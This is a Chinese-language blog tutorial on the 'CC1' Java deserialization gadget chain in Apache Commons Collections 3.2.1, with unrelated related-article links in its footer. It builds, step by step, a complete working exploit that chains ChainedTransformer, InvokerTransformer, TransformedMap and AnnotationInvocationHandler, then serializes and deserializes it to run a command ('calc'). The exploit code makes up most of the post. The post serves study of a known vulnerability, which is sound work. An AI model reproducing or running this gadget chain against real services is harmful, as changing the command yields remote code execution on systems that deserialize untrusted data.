• Java安全-CC1


    CC1

    这里用的是组长的链子和yso好像不太一样,不过大体上都是差不多的。后半条的链子都是一样的,而且这条更短更易理解。yso的CC1过段时间再看一下。

    环境

    Maven依赖:

        <dependencies>
            <dependency>
                <groupId>commons-collectionsgroupId>
                <artifactId>commons-collectionsartifactId>
                <version>3.2.1version>
            dependency>
        dependencies>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    JDK

    8u65

    openjdk

    http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/
    下载后把里面的sun放在jdk的src里面。
    sun的目录在jdk-af660750b2f4\src\share\classes下
    在这里插入图片描述
    在这里插入图片描述

    这样子才能调试,否则class文件是无法调试的
    在这里插入图片描述

    开始

    新建一个Maven项目,要记得设置好Maven的路径,避免后续的调试过程中遇到反编译代码无法下载或者其他睿智问题。
    开始结构:
    在这里插入图片描述

    我们可以了解一下接口Transformer,这个接口就接受一个Object类然后利用方法transform:
    在这里插入图片描述

    我们可以按住ctrl+H查看改接口的实现类:
    在这里插入图片描述

    我们这里看几个实现类:
    ChainedTransformer.java

    //构造方法
        public ChainedTransformer(Transformer[] transformers) {
            super();
            iTransformers = transformers;
        }
    
    //transformer
        public Object transform(Object object) {
            for (int i = 0; i < iTransformers.length; i++) {
                object = iTransformers[i].transform(object);
            }
            return object;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    这个类的transformer是一个链式,即前一个的输出作为后一个的输入。

    ConstantTransformer

    public Object transform(Object input) {
        return iConstant;
    }
    
    • 1
    • 2
    • 3

    InvokerTransformer.java

    //构造函数
        private InvokerTransformer(String methodName) {
            super();
            iMethodName = methodName;
            iParamTypes = null;
            iArgs = null;
        }
    
        /**
         * Constructor that performs no validation.
         * Use getInstance if you want that.
         * 
         * @param methodName  the method to call
         * @param paramTypes  the constructor parameter types, not cloned
         * @param args  the constructor arguments, not cloned
         */
        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            super();
            iMethodName = methodName;
            iParamTypes = paramTypes;
            iArgs = args;
        }
    
    //transformer
        /**
         * Transforms the input to result by invoking a method on the input.
         * 
         * @param input  the input object to transform
         * @return the transformed result, null if null input
         */
        public Object transform(Object input) {
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);
                return method.invoke(input, iArgs);
                    
            } catch (NoSuchMethodException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47

    这个类里面有一个method.invoke(input, iArgs);非常类似于后门的写法。这也是CC1的漏洞利用点。

    首先手撸CC1的第一步,基于这个类写一个弹计算器。

    package org.example;
    
    
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    
    public class Test {
        public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
            Runtime runtime = Runtime.getRuntime();
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
    
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    这样子就在InvokerTransformer类的基础上实现了恶意命令执行。即我们现在确定了终点,我们需要凭借这个一路向上寻找直到找到某个类重写了readObject并且能够执行到这里的链子。
    首先我们从transformer方法入手,看看什么类调用了transformaer
    在这里插入图片描述

    最终我们确定了一处checksetValue
    在这里插入图片描述

    在这里插入图片描述

    这里使用了valueTransformer调用transform
    我们就需要知道

    • valueTransformer是什么
    • 它是怎么被赋值的
    • 我们能否控制它

    不难找到在一处地方对他进行了赋值,这里是protected TransformedMap对他进行赋值,那我们需要寻找那里调用了TransformedMap。
    在这里插入图片描述

    可以看到静态方法调用了它
    在这里插入图片描述

    但是这些都解决了我们还需要找入口触发checkSetValue
    它的父类AbstractInputCheckedMapDecorator.setValue调用了checkSetValue,我们以此作为入口
    在这里插入图片描述

    知识小补充:
    对于不熟悉Map的我们需要知道有一个遍历Map的常用方法:
    在这里插入图片描述

    这一个entry就代表一个键值对。我们可以在这里调用setValue

    手撸第二步,基于这个链子我们再弹一个计算器

    目的很明确,我们需要赋值valueTransformer为InvokerTransformer
    而静态方法调用了它,并且是直接传值进去,所以我们就可以开始构造

    package org.example;
    
    
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.IOException;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Test {
        public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    
            Runtime runtime = Runtime.getRuntime();
    
    
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
            HashMap<Object,Object> hashMap = new HashMap<>();
            hashMap.put("aaa", "bbb");
            Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, invokerTransformer);
    
            for(Map.Entry entry:decorate.entrySet()){
                entry.setValue(runtime);
            }
    
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    在这里插入图片描述

    现在我们的目标就是寻找一个能够遍历数组的地方调用setValue(value) value可控。我们想要寻找谁调用了setValue并且是在readObject里面调用,如果不是在readObject里面调用就需要再看谁的Object里面调用了触发setValue的方法,需要多走一层。
    幸运的是不用多走一层。我们找到了AnnotationInvocationHandler类readObject里面调用了setValue
    在这里插入图片描述

    我们关注一下名字,Annotation就是Java里面注解的意思,所以这个类是和Java注解有关的一个类
    可以注意到这里不是public
    在这里插入图片描述

    所以我们需要反射调用
    再来看构造方法

    //构造方法
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
            Class<?>[] superInterfaces = type.getInterfaces();
            if (!type.isAnnotation() ||
                superInterfaces.length != 1 ||
                superInterfaces[0] != java.lang.annotation.Annotation.class)
                throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
            this.type = type;
            this.memberValues = memberValues;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    第一个参数是继承了Annotation的泛型,即注解,如@Override
    第二个参数是Map类型

    我们来看一下调用setValue(value)这个value我们是否可控?
    在这里插入图片描述

    发现这个value是一整个,我们似乎不可控,再来看第二个问题
    在这里插入图片描述

    Runtime没有继承Serialize,是不可以进行序列化的。
    我们先解决这个不能序列化的问题。不能序列化的话,我们可以利用反射来解决。因为Class是继承了Serialize的。

    手撸第三步,构造可序列化的Runtime

    我们观察InvokerTransformer的构造方法,传入三个参数:

    • 参数一
      • 要执行的方法名字
    • 参数二
      • 参数的类型,是一个Class数组
    • 参数三
      • 具体参数,是一个Object数组

    在这里插入图片描述

        public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            super();
            iMethodName = methodName;
            iParamTypes = paramTypes;
            iArgs = args;
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    再来看InvokerTransformer的transformer方法:
    在这里插入图片描述

        public Object transform(Object input) {
            if (input == null) {
                return null;
            }
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(iMethodName, iParamTypes);
                return method.invoke(input, iArgs);
                    
            } catch (NoSuchMethodException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException ex) {
                throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    接收一个Object,并且执行Object的method(InvokerTransformer传入的method)
    即Object.method.
    所以我们根据

            Class c = Runtime.class;
            Method getRuntime = c.getMethod("getRuntime",null);
            Runtime r = (Runtime) getRuntime.invoke(null, null);
            Method exec = c.getMethod("exec", String.class);
            exec.invoke(r,"calc");
    
    • 1
    • 2
    • 3
    • 4
    • 5

    转换为:

    Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
    Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    
    • 1
    • 2
    • 3

    这个怎么转换的?以First的1、2两行转换为Second第一行为例:

    我们需要调用c的 getRuntime 方法,即c.getRuntime
    所以 c 为 transformer 的传入此参数,即InvokerTransformer.transform(Runtime.class)

    那么InvokerTransformer里面的参数是什么?

    第一个参数
    getMethod为需要执行的方法,所以第一个方法名就是getMethod

    第二个参数
    Class数组,数组里面的值取决于传入方法的参数,以getMethod为例
    在这里插入图片描述
    可以看到getMethod需要传入两个参数,第一个参数是String类型的,第二个参数为Class类型的数组
    所以这里就是 new Class[]{String.class, Class[].class}

    第三个参数
    传入的参数,我们这里需要获取getRuntime这个方法名和getRuntime的形参,这里为null。因为getRuntime里面没有形参

    所以最终的结果就是

    Method getRuntime = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
    Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntime);
    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    
    • 1
    • 2
    • 3

    而我们发现这个形式就是前一个的输出作为后一个的输入,刚好可以用ChainedTransformer类的transformer方法来解决:

    Transformer[] transformers = {
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(Runtime.class);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    手撸第四步,从readObject入口拼凑链子

    上面说了我们的入口是AnnotationInvocationHandler的readObject
    在这里插入图片描述

    这里刚好有 memberValue.setValue(xxx); 的形式
    我们需要能控制 memberValue 才能走到下一步直到终点。
    但是在执行 memberValue.setValue(xxx) 之前有两个判断
    因为AnnotationInvocationHandler是私有的,所以我们通过反射实例化它:

    Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
    annotationDeclaredConstructor.setAccessible(true);
    Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);
    
    • 1
    • 2
    • 3
    • 4

    我们按照

    package org.example;
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import org.omg.SendingContext.RunTime;
    
    import java.io.*;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationTargetException;
    import java.lang.reflect.Method;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Test {
        public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
            Transformer[] transformers = {
    //                new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
    
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
            HashMap<Object,Object> hashMap = new HashMap<>();
            hashMap.put("keykey", "valuevalue");
            Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
    
            Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
            annotationDeclaredConstructor.setAccessible(true);
            Object o = annotationDeclaredConstructor.newInstance(Override.class, decorate);
            serialize(o);
            unserialize("ser.bin");
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            objectOutputStream.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
            return objectInputStream.readObject();
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    这串代码进行调试:
    在这里插入图片描述

    结果发现在memberType那一步就die了,因为这里是获取了我们的keykey之后又获取了keykey的成员类型
    因为我们传入的Override没有成员
    在这里插入图片描述

    所以我们需要传入有成员的注解,比如target:
    在这里插入图片描述

    target里面有一个成员名字是value,所以这里我们需要把keykey改成value,这样子获取我们的键value之后就会寻找target注解是否有成员value
    改完之后发现我们可以进判断了:
    在这里插入图片描述

    第二个判断是判断是否可以强转,这里不可以就不需要管他了。

    接下来就是最重要的memberValue能否控制了,我们跟进去调试看看:
    在这里插入图片描述

    继续跟进
    在这里插入图片描述

    跟进
    在这里插入图片描述

    可以看见这里的形式和我们开始的形式是一致的,我们对比一下:
    :::info
    chainedTransformer.transform(Runtime.class)
    valueTransformer.transform(value);

    显而易见这里的value我们就可以传入Runtime.class对象了
    但是问题是怎么作为输入传进去

    我们可以回顾上面的一个类ConstantTransformer
    :::
    ConstantTransformer 的构造函数:

    public ConstantTransformer(Object constantToReturn) {
            super();
            iConstant = constantToReturn;
        }
    
    • 1
    • 2
    • 3
    • 4

    这里对iConstant进行赋值。

    然后transformer方法:

        public Object transform(Object input) {
            return iConstant;
        }
    
    • 1
    • 2
    • 3

    所以很明显他的任务就是输入什么返回什么。
    这刚刚好满足了chainedTransformer的入口,只要传入new ConstantTransformer(Runtime.class)那么后面就会链式调用,前一个的输出作为后一个的输入最终成功调用执行命令。
    所以确定最终payload:

    package org.example;
    
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import org.omg.SendingContext.RunTime;
    
    import java.io.*;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.InvocationTargetException;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Test {
        public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException {
            Transformer[] transformers = {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
    
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
    
            HashMap<Object,Object> hashMap = new HashMap<>();
            hashMap.put("value", "value");
            Map<Object,Object> decorate = TransformedMap.decorate(hashMap, null, chainedTransformer);
    
            Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationDeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
            annotationDeclaredConstructor.setAccessible(true);
            Object o = annotationDeclaredConstructor.newInstance(Target.class, decorate);
            serialize(o);
            unserialize("ser.bin");
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            objectOutputStream.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
            return objectInputStream.readObject();
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    执行结果:
    在这里插入图片描述

    这就是CC1,学习了好几天总是弄出点门道来。做此纪录以便日后复习。

  • 相关阅读:
    0047【Edabit ★☆☆☆☆☆】Minimal I: If Boolean Then Boolean
    postgresql使用group by进行数据去重-2022新项目
    物联网低代码平台选型六大标准,赶快学起来
    [Java、Android面试]_05_内存泄漏和内存溢出
    QT中对话框界面的实现以及事件处理机制(核心机制)
    使用axios 请求库结合iview组件做登录页面
    感知机算法之Python代码实现
    悄悄上线:CSS @starting-style 新规则
    linux pinctrl函数
    在使用高防IP的时候易出现什么问题,该如何解决呢?
  • 原文地址:https://blog.csdn.net/qq_64201116/article/details/128171493